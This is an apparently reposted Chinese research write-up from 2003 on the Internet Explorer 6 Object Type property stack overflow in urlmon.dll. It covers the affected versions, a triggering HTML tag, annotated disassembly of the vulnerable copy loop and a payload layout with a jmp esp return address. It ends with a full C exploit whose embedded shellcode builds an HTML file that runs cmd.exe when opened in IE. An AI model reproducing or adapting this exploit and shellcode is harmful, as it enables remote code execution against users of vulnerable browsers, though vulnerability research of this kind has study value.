【实战】Internet Explorer Object Type Property Overflow 的研究心得

Internet Explorer Object Type Property Overflow 的研究心得


创建时间:2003-06-08
文章属性:原创
文章提交: Nanika (minjack.tw_at_yahoo.com.tw)

Internet Explorer Object Type Property Overflow 的研究心得

Nanika@seed.net.tw or minjack.tw@yahoo.com.tw

测试系统WindowsXP_SP1繁体中文专业版

Iexplorer 6.00.2800.1106 (xpsp1.020828-1920)

Urlmon.dll 6.00.2800.1170

Msvcrt.dll 7.0.2600.1106 (xpsp1.020828-1920)

Shlwapi.dll 6.00.2800.1106 (xpsp1.020828-1920)





我提供一些我所研究的技术细节,给各位参考一下,让大家来讨论研究,写出更通用的利用方法

简单的Exploit:
建构如下的数据储存成网页文件
<object type="BBBBAAAADDDD">CCCC</object>
使用IE开启所建构的网页

会 ret 44444444 可以改变程序流程

看起来很像传统的堆栈溢出
但是有一点类似FSO
[64*/][BBBB][AAAA][DDDD][任意的地址(EDI)]
AAAA为EBP值
DDDD为EIP值
但是其后的数据不是ESP值
是EDI值
精心建构object type的一段资料
可以把这一段数据写到
任意的地址


但是[任意的地址]中无法有00,若是有00则会往下取一各位的数据到任意的地址中,使得任意的地址的值,有一定的范围,不能随意的控制

而且定位方面也蛮困难的[任意的地址]之后只能在增加40bytes的数据来放shellcode

这是指RET使用jmp esp而言


若是参考
eEye Digital Security的说法使用jmp edx or call edx
则定位方面shellcode到程序中有一些问题



再分析详细一点

缓冲区溢出的关键函数

urlmon.dll中的

.text:1A441CF6 sub_1A441CF6 proc near ; CODE XREF: .text:1A42590Ep
.text:1A441CF6
.text:1A441CF6 var_104 = byte ptr -104h
.text:1A441CF6 arg_0 = dword ptr 8
.text:1A441CF6 arg_4 = dword ptr 0Ch
.text:1A441CF6 arg_8 = dword ptr 10h
.text:1A441CF6
.text:1A441CF6 push ebp
.text:1A441CF7 mov ebp, esp
.text:1A441CF9 sub esp, 104h
.text:1A441CFF mov ecx, [ebp+arg_8]
.text:1A441D02 push esi
.text:1A441D03 mov esi, ecx
.text:1A441D05 mov cl, [ecx]
.text:1A441D07 test cl, cl
.text:1A441D09 lea eax, [ebp+var_104]
.text:1A441D0F mov [ebp+var_104], cl
.text:1A441D15 jz short loc_1A441D35
.text:1A441D17
.text:1A441D17 loc_1A441D17: ; CODE XREF: sub_1A441CF6+3Dj
.text:1A441D17 cmp cl, 2Fh
.text:1A441D1A jnz short loc_1A441D2B
.text:1A441D1C mov byte ptr [eax], 5Fh;把/(2f)展开成_2F_
.text:1A441D1F inc eax
.text:1A441D20 mov byte ptr [eax], 32h
.text:1A441D23 inc eax
.text:1A441D24 mov byte ptr [eax], 46h
.text:1A441D27 inc eax
.text:1A441D28 mov byte ptr [eax], 5Fh
.text:1A441D2B
.text:1A441D2B loc_1A441D2B: ; CODE XREF: sub_1A441CF6+24j
.text:1A441D2B inc esi
.text:1A441D2C mov cl, [esi]
.text:1A441D2E inc eax
.text:1A441D2F test cl, cl
.text:1A441D31 mov [eax], cl ;copy字符串时产生了缓冲区溢位
.text:1A441D33 jnz short loc_1A441D17
.text:1A441D35
.text:1A441D35 loc_1A441D35: ; CODE XREF: sub_1A441CF6+1Fj
.text:1A441D35 lea eax, [ebp+var_104]
.text:1A441D3B push eax
.text:1A441D3C mov eax, [ebp+arg_4]
.text:1A441D3F push offset dword_1A441D5C
.text:1A441D44 dec eax
.text:1A441D45 push eax
.text:1A441D46 push [ebp+arg_0]
.text:1A441D49 call ds:wnsprintfA;因为这里的原因,使得其后的覆写不是ESP值,若是要绕过此区,必须填入一个不含00且可写入的位置
.text:1A441D4F add esp, 10h
.text:1A441D52 xor eax, eax
.text:1A441D54 pop esi
.text:1A441D55 leave
.text:1A441D56 retn 0Ch;返回到DDDD的位置
.text:1A441D56 sub_1A441CF6 endp

若是要使用jmp esp的方法利用此漏洞,建构此类字符串,即可

<object type="[/*64][BBBB][AAAA][jmpesp][0x30800101][A*8][shellcode40bytes]">CCCC</object>

AAAA为覆盖的EBP值,要符合宽字符编码

jmpesp为覆盖的EIP值可以放入Ntdll 中jmp esp的地址77fb59cc,要符合宽字符编码

0x30800101为一个可以写入不包含00的位置,用来绕过call ds:wnsprintfA,要符合宽字符编码

A*8此处运用不到,可以随意的填入,要符合宽字符编码

shellcode必须要注意的是,要符合宽字符编码,各系统不一定相同,且只有40bytes
必须要尽量的优化程序



与eyas讨论过利用方法,提出了
也可以利用此shellcode的地址放入一个"寻找"真正的恶意程序的realshellcode,然后把恶意程序的realshellcode放在<realshellcode><object type="[/*64][BBBB][AAAA][jmpesp][0x30800101][A*8][shellcode40bytes]">CCCC</object>,或是其它的地方,只要可以在内存中找到,就可以了



我使用了简单的方法,写了一个符合繁体中文版的shellcode,使用jmp esp,转跳到shellcode

Exploit:

#include <direct.h>

#include <stdio.h>

#include <windows.h>

#include <sys/stat.h>

#include <winnls.h>

#include <lm.h>





unsigned char shellcode[27] =

"/x68/x63/x6d/x64/x20"//push cmd

"/x8b/xc4"//mov eax,esp

"/x50"//push eax

"/xB8/x44/x80/xbf/x77"//mov eax,system_fun_addr

"/xff/xd0"//call eax

"/x41/x41"//inc ecx = nop

"/xb8/xfd/x98/xe5/x77"//mov eax,ExitProcess_fun_addr

"/xff/xd0"//call eax

"/x41/x41";//inc ecx =nop



unsigned char eipaddr[5]=

"/xcc/x59/xfb/x77"; //jmp esp ntdll.dll addr 77fb59cc pass widechar





unsigned char pad[5]=

"/x30/x80/x10/x01";

unsigned char buf[65]="";

int j=0;

int i=0;









void main()

{



unsigned char temp;

unsigned char change;

char path[256];

FILE *bof;



struct stat st;

printf("/n/tBuffer overflow in Internet Explorer Object Type Property Overflow/n/tBig5 Unicode Exploit by Nanika/n/ttest WindowsXP_SP1 Big5 ver/n/tEmail:minjack.tw@yahoo.com.tw or Nanika@seed.net.tw/n");



strcpy(path,"//explorer_exp_Nanika");



mkdir(path);



SetFileAttributes(path,FILE_ATTRIBUTE_READONLY);



strcat(path,"//Exploit_IE_overflow.htm");



if (stat(path,&st)==0)



{ remove(path); exit(1);}//just execute this program twice to remote this file :P



bof=fopen(path,"w");



fputs("<object type=/"",bof);



for(i=0;i<sizeof(buf);)

{

buf[i++]=0x2f;

}

buf[sizeof(buf)-1]=0;

fprintf( bof, "%s", buf);//buff



fputs("AAAA",bof);//pad

fputs("AAAA",bof);//ebp

fprintf( bof, "%s", eipaddr); //ret -->jmp esp[ntdll]

fprintf( bof, "%s", pad); //edi

fputs("AAAAAAAA",bof);//pad

fprintf( bof, "%s", shellcode); //shellcode

fputs("/">CCCC</object>",bof);





fclose(bof);



printf("/nExploit file: %s Created./nif success open Exploit_IE_overflow.htm exec cmd.exe /ntry exe again will kill Exploit file/n",path);









}



利用方法除了上述的两种方法之外,也可以考虑,利用call ds:wnsprintfA这里,因为这里可以写入一段数据到任何的地址,但是必须准确的定位可写入的位址,且需要符合宽字符编码





接下来其它的漏洞利用方法可能需要各位高手的研究了



希望各位看了这篇文章有些许的收获







谢谢各位的拨空阅读thanks
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值